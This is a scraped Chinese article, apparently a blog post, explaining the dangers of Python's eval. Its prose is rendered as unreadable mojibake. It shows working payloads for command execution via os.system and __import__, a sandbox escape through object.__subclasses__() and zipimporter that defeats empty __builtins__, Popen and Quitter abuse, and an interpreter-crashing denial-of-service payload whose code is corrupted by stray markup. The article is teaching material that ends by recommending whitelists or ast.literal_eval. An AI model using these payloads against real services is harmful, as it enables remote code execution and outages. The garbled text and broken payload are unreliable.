python Ϊʲô˵evalÒªÉ÷Óã¿Ê¹ÓÃeval ´øÀ´µÄDZÔÚ·çÏÕ£¿Ê²Ã´Çé¿ö
evalǰÑÔ In?[1]:?eval("2+3") Out[1]:?5 In?[2]:?eval('[x?for?x?in?range(9)]') Out[2]:?[0,?1,?2,?3,?4,?5,?6,?7,?8] µ±ÄÚ´æÖеÄÄÚÖÃÄ£¿éº¬ÓÐosµÄ»°£¬evalͬÑù¿ÉÒÔ×öµ½ÃüÁîÖ´ÐУº In?[3]:?import?os In?[4]:?eval("os.system('whoami')") hy-201707271917administrator Out[4]:?0 µ±È»£¬evalÖ»ÄÜÖ´ÐÐPythonµÄ±í´ïʽÀàÐ͵ĴúÂ룬²»ÄÜÖ±½ÓÓÃËü½øÐÐimport²Ù×÷£¬µ«exec¿ÉÒÔ¡£Èç¹û·ÇҪʹÓÃeval½øÐÐimport£¬ÔòʹÓÃ__import__£º In?[8]:?eval("__import__('os').system('whoami')") hy-201707271917administrator Out[8]:?0 ÔÚʵ¼ÊµÄ´úÂëÖУ¬ÍùÍùÓÐʹÓÿͻ§¶ËÊý¾Ý´øÈëevalÖÐÖ´ÐеÄÐèÇó¡£±ÈÈ綯̬ģ¿éµÄÒýÈ룬¾Ù¸öÀõ×Ó£¬Ò»¸öÔÚÏßÅÀ³æÆ½Ì¨ÉÏÅÀ³æ¿ÉÄÜÓжà¸ö²¢ÇÒλÓÚ²»Í¬µÄÄ£¿éÖУ¬·þÎñÆ÷¶Ëµ«ÍùÍùÖ»ÐèÒªµ÷ÓÃÓû§ÔÚ¿Í»§¶ËÑ¡ÔñµÄÅÀ³æÀàÐÍ£¬²¢Í¨¹ýºó¶ËµÄexec»òÕßeval½øÐж¯Ì¬µ÷Ó㬺ó¶Ë±àÂëʵÏַdz£·½±ã¡£µ«Èç¹û¶ÔÓû§µÄÇëÇó´¦Àí²»Ç¡µ±£¬¾Í»áÔì³ÉÑÏÖØµÄ°²È«Â©¶´¡£ °²È«¡±Ê¹ÓÃeval ÏÖÔÚÌᳫ×î¶àµÄ¾ÍÊÇʹÓÃevalµÄºóÁ½¸ö²ÎÊýÀ´ÉèÖú¯ÊýµÄ°×Ãûµ¥£º Evalº¯ÊýµÄÉùÃ÷Ϊeval(expression[,globals[,locals]]) ÆäÖУ¬µÚ¶þÈý¸ö²ÎÊý·Ö±ðÖ¸¶¨Äܹ»ÔÚevalÖÐʹÓõĺ¯ÊýµÈ£¬Èç¹û²»Ö¸¶¨£¬Ä¬ÈÏΪglobals()ºÍlocals()º¯ÊýÖÐ °üº¬µÄÄ£¿éºÍº¯Êý¡£ >>>?import?os >>>?'os'?in?globals() True >>>?eval('os.system('whoami')') win-20140812chjadministrator 0 >>>?eval('os.system('whoami')',{},{}) Traceback?(most?recent?call?last): ??File?"",?line?1,?in? ??File?"",?in? NameError:?name?'os'?is?not?defined Èç¹ûÖ¸¶¨Ö»ÔÊÐíµ÷ÓÃabsº¯Êý£¬¿ÉÒÔʹÓÃÏÂÃæµÄд·¨£º >>>?eval('abs(-20)',{'abs':abs},{'abs':abs}) 20 >>>?eval('os.system('whoami')',{'abs':abs}) Traceback?(most?recent?call?last): ??File?"",?in? NameError:?name?'os'?is?not?defined >>>?eval('os.system('whoami')') win-20140812chjadministrator 0 ʹÓÃÕâÖÖ·½·¨À´·À»¤£¬È·Êµ¿ÉÒÔÆðµ½Ò»¶¨µÄ×÷Ó㬵«ÊÇ£¬ÕâÖÖ´¦Àí·½·¨¿ÉÄÜ»á±»ÈÆ¹ý£¬´Ó¶øÔì³ÉÆäËûÎÊÌ⣡ ÈÆ¹ýÖ´ÐдúÂë1 ±»ÈƹýµÄÇé¾°ÈçÏ£¬Ð¡Ã÷ÖªµÀÁËeval»á´øÀ´Ò»¶¨µÄ°²È«·çÏÕ£¬ËùÒÔʹÓÃÈçϵÄÊÖ¶ÎÈ¥·ÀÖ¹evalÖ´ÐÐÈÎÒâ´úÂ룺 env?=?{} env["locals"]???=?None env["globals"]??=?None env["__name__"]?=?None env["__file__"]?=?None env["__builtins__"]?=?None ? eval(users_str,?env) PythonÖеÄ__builtins__ÊÇÄÚÖÃÄ£¿é£¬ÓÃÀ´ÉèÖÃÄÚÖú¯ÊýµÄÄ£¿é¡£±ÈÈçÊìϤµÄabs£¬openµÈÄÚÖú¯Êý£¬¶¼ÊÇÔÚ¸ÃÄ£¿éÖÐÒÔ×ÖµäµÄ·½Ê½´æ´¢µÄ£¬ÏÂÃæÁ½ÖÖд·¨Êǵȼ۵ģº >>>?__builtins__.abs(-20) 20 >>>?abs(-20) 20 ÎÒÃÇÒ²¿ÉÒÔ×Ô¶¨ÒåÄÚÖú¯Êý£¬²¢ÏñʹÓÃPythonÖеÄÄÚÖú¯ÊýÒ»ÑùʹÓÃËüÃÇ£º >>>?def?hello(): ...?????print?'shabi' >>>?__builtin__.__dict__['say_hello']?=?hello >>>?say_hello() shabi СÃ÷½«evalº¯ÊýµÄ×÷ÓÃÓòÖеÄÄÚÖÃÄ£¿éÉèÖÃΪNone£¬ºÃÏñ¿´ÆðÀ´ºÜ³¹µ×ÁË£¬µ«ÒÀÈ»¿ÉÒÔ±»Èƹý¡£__builtins__ÊÇ__builtin__µÄÒ»¸öÒýÓã¬ÔÚ__main__Ä£¿éÏ£¬Á½ÕßÊǵȼ۵ģº >>>?id(__builtins__) 3549136 >>>?id(__builtin__) 3549136 ¸ù¾ÝÎÚÔÆdropsÌáµ½µÄ·½·¨£¬Ê¹ÓÃÈçÏ´úÂë¼´¿É£º [x?for?x?in?().__class__.__bases__[0].__subclasses__()?if?x.__name__?==?"zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname") ÉÏÃæµÄ´úÂëÊ×ÏÈÀûÓÃ__class__ºÍ__subclasses__¶¯Ì¬¼ÓÔØÁËobject¶ÔÏó£¬ÕâÊÇÒòΪevalÖÐÎÞ·¨Ö±½ÓʹÓÃobject¡£È»ºóʹÓÃobjectµÄ×ÓÀàµÄzipimporter¶ÔeggѹËõÎļþÖеÄconfigobjÄ£¿é½øÐе¼È룬²¢µ÷ÓÃÆäÄÚÖÃÄ£¿éÖеÄosÄ£¿é´Ó¶øÊµÏÖÃüÁîÖ´ÐУ¬µ±È»£¬Ç°ÌáÊÇÒªÓÐconfigobjµÄeggÎļþ¡£ configobjÄ£¿éºÜÓÐÒâ˼£¬¾ÓÈ»ÄÚÖÃÁËosÄ£¿é£º >>>?"os"?in?configobj.__dict__ True >>>?import?urllib >>>?"os"?in?urllib.__dict__ True >>>?import?urllib2 >>>?"os"?in?urllib2.__dict__ True >>>?configobj.os.system("whoami") win-20140812chjadministrator 0 ºÍconfigobjÀàËÆµÄÄ£¿éÈçurllib£¬urllib2£¬setuptoolsµÈ¶¼ÓÐosµÄÄÚÖã¬ÀíÂÛÉÏʹÓÃÄĸö¶¼ÐС£ Èç¹ûÎÞ·¨ÏÂÔØeggѹËõÎļþ£¬¿ÉÒÔÏÂÔØ´øÓÐsetup.pyµÄÎļþ¼Ð£¬¼ÓÈ룺 from?setuptools?import?setup,?find_packages È»ºóÖ´ÐÐ: python?setup.py?bdist_egg ¾Í¿ÉÒÔÔÚdistÎļþ¼ÐÖÐÕÒµ½¶ÔÓ¦µÄeggÎļþ¡£ ÈÆ¹ýdemoÈçÏ£º >>>?env?=?{} >>>?env["locals"]???=?None >>>?env["globals"]??=?None >>>?env["__name__"]?=?None >>>?env["__file__"]?=?None >>>?env["__builtins__"]?=?None >>>?users_str?=?"[x?for?x?in?().__class__.__bases__[0].__subclasses__()?if?x.__name__?==?'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')" >>>?eval(users_str,?env) win-20140812chjadministrator 0 >>>?eval(users_str,?{},?{}) win-20140812chjadministrator 0 ¾Ü¾ø·þÎñ¹¥»÷1 objectµÄ×ÓÀàÖÐÓкܶàÓÐȤµÄ¶«Î÷£¬Ö´ÐÐÒÔÏ´úÂë²é¿´£º [x.__name__?for?x?in?().__class__.__bases__[0].__subclasses__()] ÕâÀïÎҾͲ»Êä³ö½á¹ûÁË£¬Èç¹ûÄãÖ´Ðеϰ£¬¿ÉÒÔ¿´µ½ºÜ¶àÓÐȤµÄÄ£¿é£¬±ÈÈçfile£¬zipimporter£¬QuitterµÈ¡£¾¹ý²âÊÔ£¬fileµÄ¹¹Ô캯ÊýÊDZ»½âÊÍÆ÷ɳÏä¸ôÀëµÄ¡£ ¼òµ¥µÄ£¬»òÕßÖ±½Óʹobject±©Â¶³öµÄ×ÓÀàQuitter½øÐÐÍ˳ö£º >>>?eval("[x?for?x?in?().__class__.__bases__[0].__subclasses__()?if?x.__name__ ?==?'Quitter'][0](0)()",?{'__builtins__':None}) ? C:/> Èç¹ûÔËÆøºÃ£¬Óöµ½¶Ô·½³ÌÐòÖе¼ÈëÁËosµÈÃô¸ÐÄ£¿é£¬ÄÇôPopen¾Í¿ÉÒÔÓ㬲¢ÇÒÈÆ¹ý__builins__Ϊ¿ÕµÄÏÞÖÆ£¬Àý×ÓÈçÏ£º >>>?import?subprocess >>>?eval("[x?for?x?in?().__class__.__bases__[0].__subclasses__()?if?x.__name__?==?'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None}) ? >>> ÕýÔÚ?Ping?127.0.0.1?¾ßÓÐ?32?×Ö½ÚµÄÊý¾Ý: À´×Ô?127.0.0.1?µÄ»Ø¸´:?×Ö½Ú=32?ʱ¼ä>> ÊÂʵÉÏ£¬ÕâÖÖÇé¿ö·Ç³£¶à£¬±ÈÈçµ¼ÈëosÄ£¿é£¬Ò»°ãÓÃÀ´´¦Àí·¾¶ÎÊÌâ¡£ËùÒÔ˵£¬Óöµ½ÕâÖÖÇé¿ö£¬ÍêÈ«¿ÉÒÔÁоٴóÁ¿µÄ¹¦Äܺ¯Êý£¬À´Ì½²âÄ¿±êobjectµÄ×ÓÀàÖÐÊÇ·ñº¬ÓÐһЩΣÏյĺ¯Êý¿ÉÒÔÖ±½ÓʹÓᣠ¾Ü¾ø·þÎñ¹¥»÷2 ͬÑù£¬ÎÒÃÇÉõÖÁ¿ÉÒÔÈÆ¹ý__builtins__ΪNone£¬Ôì³ÉÒ»´Î¾Ü¾ø·þÎñ¹¥»÷£¬Payload(À´×ÔÀÏÍâblog)ÈçÏ£º >>>?eval('(lambda?fc=(lambda?n:?[c?1="c"?2="in"?3="().__class__.__bases__[0"?language="for"][/c].__subclasses__()?if?c.__name__?==?n][0]):fc("function")(fc("code")(0,"KABOOM",(),"",""),{})())()',?{"__builtins__":None}) ÔËÐÐÉÏÃæµÄ´úÂ룬PythonÖ±½ÓcrashµôÁË£¬Ôì³É¾Ü¾ø·þÎñ¹¥»÷¡£ ÔÀíÊÇͨ¹ýǶÌ×µÄlambdaÀ´¹¹ÔìһƬ´úÂë¶Î£¬¼´code¶ÔÏó¡£ÎªÕâ¸öcode¶ÔÏó·ÖÅä¿ÕµÄÕ»£¬²¢¸ø³öÏàÓ¦µÄ´úÂë×Ö·û´®£¬ÕâÀïÊÇKABOOM£¬ÔÚ¿ÕÕ»ÉÏÖ´ÐдúÂ룬»á³öÏÖcrash¡£¹¹ÔìÍê³Éºó£¬µ÷ÓÃfcº¯Êý¼´¿É´¥·¢£¬Æä˼·²»¿Éν²»Òùµ´¡£ ×Ü½á ´ÓÉÏÃæµÄÄÚÈÝÎÒÃÇ¿ÉÒÔ¿´³ö£¬µ¥µ¥½«ÄÚÖÃÄ£¿éÖÃΪ¿Õ£¬ÊDz»¹»µÄ£¬×îºÃµÄ»úÖÆÊǹ¹Ôì°×Ãûµ¥£¬Èç¹û¾õµÃ±È½ÏÂé·³£¬¿ÉÒÔʹÓÃast.literal_eval´úÌæ²»°²È«µÄeval¡£ ²Î¿¼×ÊÁÏ£º ¡¾1¡¿http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html ¡¾2¡¿http://drops.wooyun.org/web/7490 ¡¾3¡¿ http://stackoverflow.com/questions/3513292/python-make-eval-saf£¨±à¼£ºÀî´óͬ£© ¡¾ÉùÃ÷¡¿±¾Õ¾ÄÚÈݾùÀ´×ÔÍøÂ磬ÆäÏà¹ØÑÔÂÛ½ö´ú±í×÷Õ߸öÈ˹۵㣬²»´ú±í±¾Õ¾Á¢³¡¡£ÈôÎÞÒâÇÖ·¸µ½ÄúµÄȨÀû£¬Ç뼰ʱÓëÁªÏµÕ¾³¤É¾³ýÏà¹ØÄÚÈÝ! |
- ÓÃPythonʵÏÖͨ¹ý¹þÏ£Ëã·¨¼ì²âÍ¼Æ¬ÖØ¸´µÄ½Ì³Ì
- ÈçºÎÔÚpythonÖмì²âcurses ALT¼ü×éºÏ
- ÏÂÔØÈ«¹ú³ÇÊоγ¶È
- Python¿âÕûÀí
- PythonʵÏÖKNNÁÚ½üËã·¨
- pythonʹÓÃpyhook¼à¿Ø¼üÅ̲¢ÊµÏÖÇл»¸èÇúµÄ¹¦ÄÜ
- BeautifulSoupÄ£¿éµÄ¼òµ¥Ê¹ÓÃ
- Python×Öµä²Ù×÷Ïêϸ½éÉܼ°×ÖµäÄÚ½¨·½·¨·ÖÏí
- python ¨C gobject.type_register()×öʲô£¿
- python ʵÏÖtarÎļþѹËõ½âѹµÄʵÀýÏê½â
- QQ¿Õ¼äµãÔÞ»ú
- Ïê½âPythonÖÐÓÃÓÚ¼ÆËãÖ¸ÊýµÄexp()·½·¨
- PythonʹÓÃxlrd¶ÁÈ¡Excel¸ñʽÎļþµÄ·½·¨
- PythonËæ»ú¶ÁÈ¡ÎļþʵÏÖʵÀý
- Django¾²Ì¬×ÊÔ´URL STATIC
- python ¨C ʹÓÃÁíÒ»¸ö×Öµä¸üÐÂ×Öµä,µ«Ö»ÄÜʹÓ÷Ç
- ¶à´¦ÀíÖеÄerror_callback.PoolÔÚPython 2ÖеÄap
- ÈçºÎͨ¹ýÔÆº¯Êýµ÷¶ÈÓÃPython±àдµÄDataflow¹ÜµÀ£¿
- ʹÓÃPyinstaller±àÒëPyQt4ʱ³ö´í
- ʹÓÃPython NLTKµÄAWS lambdaÖеÄ·¾¶